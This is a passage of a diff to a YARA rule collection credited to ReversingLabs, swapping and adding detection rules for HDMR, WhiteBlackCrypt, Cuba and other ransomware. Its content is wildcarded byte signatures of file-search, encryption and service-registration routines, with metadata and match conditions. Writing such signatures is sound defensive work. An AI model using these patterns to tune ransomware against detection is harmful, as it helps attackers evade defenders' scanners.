-            56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
-            ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 56 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 50 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 E8
-            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 E8 ??
-            ?? ?? ?? 83 C4 ?? 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 8D B5 ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 ?? 8B
-            00 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 39 B5 ?? ?? ?? ??
-            72 ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 95 ?? ??
-            ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 8B 95 ?? ?? ?? ?? 6A ?? 8D
-            8D ?? ?? ?? ?? 51 8B 8D ?? ?? ?? ?? 52 51 50 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ??
-            53 FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ??
-            ?? ?? 8B E5 5D C2
+            89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ??
+            ?? EB ?? 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48
+            89 45 ?? 48 83 7D ?? ?? 75 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48
+            8B 45 ?? 0F B6 40 ?? 3C ?? 0F 85 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? BE ?? ?? ?? ??
+            48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? BE ?? ?? ??
+            ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 45
+            ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C3 48 8B 45 ?? 48 89 C7 E8 ??
+            ?? ?? ?? 48 01 D8 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 85 ?? ?? ??
+            ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 45 ?? 48 8D 48 ?? 48 8B
+            95 ?? ?? ?? ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB
+            ?? 48 8B 45 ?? 48 8D 48 ?? 48 8B 95 ?? ?? ?? ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89
+            C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 0F
+            85 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3
+        }
+		$encrypt_internal_message_p1 = {
+            55 48 89 E5 53 48 83 EC ?? 48 89 7D ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? BF ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 48 8B
+            45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 83 C0 ?? 48 98 48 89 C7 E8 ?? ?? ??
+            ?? 48 89 45 ?? 8B 45 ?? 83 C0 ?? 48 63 D0 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ??
+            ?? ?? ?? 8B 45 ?? 48 63 D0 48 8B 4D ?? 48 8B 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ??
+            8B 45 ?? 48 98 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? 8B 45 ?? 83 E8 ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 66 0F EF C0 F2 0F 2A 45 ??
+            66 0F EF C9 F2 0F 2A 4D ?? F2 0F 5E C1 E8 ?? ?? ?? ?? F2 0F 2C C0 89 45 ?? 8B 45 ??
+            0F AF 45 ?? 48 98 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 8B 45 ?? 0F AF 45 ?? 48 63 D0
+            48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 45 ?? 0F AF 45 ?? 89 C3 48 8B
+            45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C6 8B 45 ?? 89 C1 89 DA BF ?? ?? ?? ?? B8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? E9 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? 3B 45 ?? 7D ?? 8B 45 ?? 2B 45 ?? 89 45 ?? 8B 45
+            ?? 48 63 D0 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? 89
+        }
+		$encrypt_internal_message_p2 = {
+            C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 48 63 D0 48 8B 45 ?? 48 8D
+            34 02 48 8B 4D ?? 48 8B 55 ?? 8B 45 ?? 41 B8 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 89 45
+            ?? 8B 45 ?? 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? E8
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C2 48 8B 45 ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? ?? 48
+            8B 05 ?? ?? ?? ?? 48 8B 55 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ??
+            48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ??
+            ?? ?? 8B 45 ?? 48 63 D0 8B 45 ?? 48 63 C8 48 8B 45 ?? 48 01 C1 48 8B 45 ?? 48 89 C6
+            48 89 CF E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ??
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 8B 45 ?? 01 45 ?? 48 8B 45 ?? 48 89
+            C7 E8 ?? ?? ?? ?? 83 45 ?? ?? 8B 45 ?? 3B 45 ?? 0F 8E ?? ?? ?? ?? 48 8B 45 ?? 48 89
+            C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 4D ?? 48 8B 45 ?? BA ?? ??
+            ?? ?? 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ??
+            48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C4 ?? 5B 5D
+            C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*))
+		uint32(0)==0x464C457F and ( all of ($main_call_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($encrypt_internal_message_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_HDMR : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win64_Ransomware_Whiteblackcrypt : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects HDMR ransomware."
+		description = "Yara rule that detects WhiteBlackCrypt ransomware."
 		author = "ReversingLabs"
-		id = "97b5020c-6cb1-5ec6-84a4-2f35eae761c2"
+		id = "9855c10d-563d-54e0-bc79-945daef947de"
+		date = "2021-07-05"
+		modified = "2021-07-05"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.WhiteBlackCrypt.yara#L1-L91"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "37b95cc3412f2f2d02d19c4c15b529c4f67453cb195627b5bab2f353e7602354"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "WhiteBlackCrypt"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files = {
+            41 57 41 56 41 55 41 54 55 57 56 53 48 83 EC ?? 4C 8D 3D ?? ?? ?? ?? 45 31 F6 49 89
+            CD E8 ?? ?? ?? ?? 48 85 C0 49 89 C4 0F 84 ?? ?? ?? ?? 4C 89 E1 E8 ?? ?? ?? ?? 48 85
+            C0 0F 84 ?? ?? ?? ?? 48 8D 68 ?? 4C 89 FA 48 89 E9 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D
+            15 ?? ?? ?? ?? 48 89 E9 E8 ?? ?? ?? ?? 85 C0 74 ?? 44 89 F0 48 83 C9 ?? 48 89 EF F2
+            AE 4C 89 EF 48 89 CB 48 83 C9 ?? F2 AE 48 F7 D3 48 F7 D1 01 D9 48 63 D9 48 89 D9 E8
+            ?? ?? ?? ?? 48 89 D9 4C 89 EA 48 89 C6 48 89 C7 44 89 F0 F3 AA 48 89 F1 E8 ?? ?? ??
+            ?? 48 8D 15 ?? ?? ?? ?? 48 89 F1 E8 ?? ?? ?? ?? 48 89 EA 48 89 F1 E8 ?? ?? ?? ?? 48
+            89 F1 E8 ?? ?? ?? ?? 48 89 F1 85 C0 74 ?? E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 48 89
+            F1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 89 E1 48 83 C4 ?? 5B 5E 5F 5D 41 5C 41 5D 41 5E
+            41 5F E9 ?? ?? ?? ?? 48 83 C4 ?? 5B 5E 5F 5D 41 5C 41 5D 41 5E 41 5F C3
+        }
+		$encrypt_files = {
+            41 55 41 54 55 57 56 53 48 83 EC ?? 48 8D 15 ?? ?? ?? ?? 31 F6 4C 8D 2D ?? ?? ?? ??
+            48 89 CD E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 C3 E8 ?? ?? ?? ?? 48 89 C7 49 89 D9 41
+            B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 F9 E8 ?? ?? ?? ?? 85 C0 49 89 C4 74 ?? 81 FE ??
+            ?? ?? ?? 7F ?? 45 89 E0 48 89 FA 4C 89 E9 E8 ?? ?? ?? ?? 45 31 C0 89 F2 48 89 D9 E8
+            ?? ?? ?? ?? 44 01 E6 4D 63 C4 48 89 F9 49 89 D9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 45 31
+            C0 89 F2 48 89 D9 E8 ?? ?? ?? ?? EB ?? 48 89 F9 48 89 EF E8 ?? ?? ?? ?? 48 89 D9 E8
+            ?? ?? ?? ?? 31 C0 48 83 C9 ?? F2 AE 48 89 CE 48 F7 D6 48 89 F1 48 83 C1 ?? E8 ?? ??
+            ?? ?? 48 89 EA 48 89 C1 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ??
+            48 89 E9 48 89 C2 48 83 C4 ?? 5B 5E 5F 5D 41 5C 41 5D E9
+        }
+		$register_service_p1 = {
+            57 56 53 48 81 EC ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 31 C0 41 B9 ?? ?? ?? ?? 48 8D 94
+            24 ?? ?? ?? ?? 48 89 CB B9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 D7 F3 AB 48 8D
+            44 24 ?? 48 89 54 24 ?? 48 C7 C1 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 15 ?? ?? ?? ?? 48
+            C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 80 BC 24 ?? ?? ?? ?? ?? 48 8B 35 ?? ?? ??
+            ?? 0F 85 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 31 C9 41 B8 ?? ?? ?? ?? 48 89 DA FF 15
+            ?? ?? ?? ?? 48 8D 44 24 ?? 45 31 C0 41 B9 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 15 ?? ??
+            ?? ?? 48 C7 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8D 05 ?? ?? ?? ?? 48 8B
+            4C 24 ?? 41 B9 ?? ?? ?? ?? 45 31 C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48
+            89 44 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ??
+            45 31 C0 48 89 D9 FF 15 ?? ?? ?? ?? 31 C0 E9 ?? ?? ?? ?? 31 C9 FF D6 48 85 C0 79 ??
+            B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 31 C9 BA ?? ??
+            ?? ?? 48 C1 E0 ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ??
+            ?? 48 8D 35 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ??
+            48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 48 8D
+        }
+		$register_service_p2 = {
+            8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7
+            84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            41 B9 ?? ?? ?? ?? 48 89 F2 48 89 1D ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 5C 24 ??
+            48 8B 35 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ??
+            ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF D6 B9 ?? ?? ?? ?? 48 89 C3 FF 15 ??
+            ?? ?? ?? BA ?? ?? ?? ?? 48 89 D9 49 89 C0 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D
+            54 24 ?? 48 89 C1 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 41 B9 ?? ??
+            ?? ?? 4C 8B 05 ?? ?? ?? ?? 48 89 5C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ??
+            ?? ?? ?? ?? 48 89 44 24 ?? 8B 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? 99 F7 F9 2D ?? ?? ?? ?? 89 44 24 ?? 8B 44 24 ?? 99 F7 F9 31 C9 48 8D 15 ?? ?? ??
+            ?? 2D ?? ?? ?? ?? 89 44 24 ?? FF D6 BA ?? ?? ?? ?? 48 89 D9 FF 15 ?? ?? ?? ?? 48 89
+            D9 FF 15 ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 48 8D 5C 24 ?? 45 31 C9 45 31 C0 31 D2 48
+            89 D9 FF D6 85 C0 74 ?? 48 89 D9 FF 15 ?? ?? ?? ?? 48 89 D9 FF 15 ?? ?? ?? ?? EB ??
+            8B 84 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5E 5F C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($register_service_p*)) and ($find_files) and ($encrypt_files)
+}
+rule REVERSINGLABS_Win32_Ransomware_Cuba : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Cuba ransomware."
+		author = "ReversingLabs"
+		id = "b2c81849-9fa6-58b6-b6fe-4d9a5f0923ea"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.HDMR.yara#L1-L161"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "035c6596db8dc14a663679c1f7e682b85963927cc034b01e390cc22fdee3334a"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Cuba.yara#L1-L126"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "0a8dea6e38a6407897b994ea119bc8b0712a94363b7b3942dcd32c65ee5548d4"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -25116,149 +26217,182 @@ rule REVERSINGLABS_Win32_Ransomware_HDMR : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "HDMR"
+		tc_detection_name = "Cuba"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
 		$find_files_p1 = {
-            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ??
-            ?? ?? 53 56 8B 75 ?? 57 33 C0 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 89 74 24 ??
-            66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 52 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ??
-            ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? EB
-            ?? 8D 49 ?? 8B 74 24 ?? F6 44 24 ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 44 24 ??
-            66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1
-            ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ??
-            8D 44 24 ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83
-            C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D
+            51 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8B D7 8D 4D ?? E8 ??
+            ?? ?? ?? 83 C4 ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 4D ?? E8 ??
+            ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 72 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ??
+            0F B7 00 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ??
+            0F B7 40 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45
+            ?? 0F B7 40 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 83 7D ?? ?? 8D 45 ?? 0F 43
+            45 ?? 0F B7 40 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? B0 ?? EB ?? 32 C0 84 C0
+            0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D3 C6
+            45 ?? ?? 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 0F 82 ?? ?? ?? ?? 8B 4D
+            ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0
+            ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 55 ??
+            8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 75 ?? 8B 5D ?? 83 FB ?? 8B 7D ?? 8B 45 ?? 0F
+            43 F7 83 F8 ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75 ?? 83 C1 ??
+            83 EA ?? 75 ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 75 ?? 0F 43 F7 83 F8 ?? 75 ?? B9
+            ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75 ?? E9 ?? ??
+            ?? ?? 8B 45 ?? 83 FB ?? 8D 75 ?? 0F 43 F7 83 F8 ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1
         }
 		$find_files_p2 = {
-            54 24 ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24
-            ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 4C 24
-            ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 54 24
-            ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 44 24
-            ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 68
-            ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 54 24 ?? 68 ?? ??
-            ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 8D
-            8C 24 ?? ?? ?? ?? 51 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 52
-            56 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51
-            E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 83
-            C4 ?? 85 F6 74 ?? 8B 44 24 ?? 8D 54 24 ?? 52 50 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ??
-            8B 0D ?? ?? ?? ?? 83 C4 ?? 3B 0D ?? ?? ?? ?? 7C ?? 8D 49 ?? 6A ?? FF 15 ?? ?? ?? ??
-            8B 15 ?? ?? ?? ?? 3B 15 ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? FF D7 FF 05 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF D3 6A ?? 6A ?? 56 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF
-            15 ?? ?? ?? ?? 8B 74 24 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
-            ?? 56 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D
-            C3
+            66 8B 04 0E 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75 ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 FB ??
+            8D 75 ?? 0F 43 F7 83 F8 ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75
+            ?? 83 C1 ?? 83 EA ?? 75 ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 75 ?? 0F 43 F7 83 F8
+            ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75
+            ?? EB ?? 83 7D ?? ?? 75 ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 FA ?? 0F 43 C1 66 83 38 ??
+            75 ?? 83 FA ?? 8D 45 ?? 0F 43 C1 66 83 78 ?? ?? 75 ?? 83 FA ?? 8D 45 ?? 0F 43 C1 66
+            83 78 ?? ?? 75 ?? 83 FA ?? 8D 45 ?? 0F 43 C1 66 83 78 ?? ?? 74 ?? 8B 8D ?? ?? ?? ??
+            8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? C6 45 ?? ?? 83 FB ?? 72 ?? 8D 0C 5D ??
+            ?? ?? ?? 8B C7 81 F9 ?? ?? ?? ?? 72 ?? 8B 7F ?? 83 C1 ?? 2B C7 83 C0 ?? 83 F8 ?? 0F
+            87 ?? ?? ?? ?? 51 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B
+            9D ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B
+            C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ??
+            ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 88 45 ?? 8B 55 ?? C7 45
+            ?? ?? ?? ?? ?? 66 89 45 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA
+            ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ??
+            ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15
+        }
+		$enum_resources = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89
+            45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B DA 89 5D ?? 8D 45 ?? C7 45 ?? ?? ??
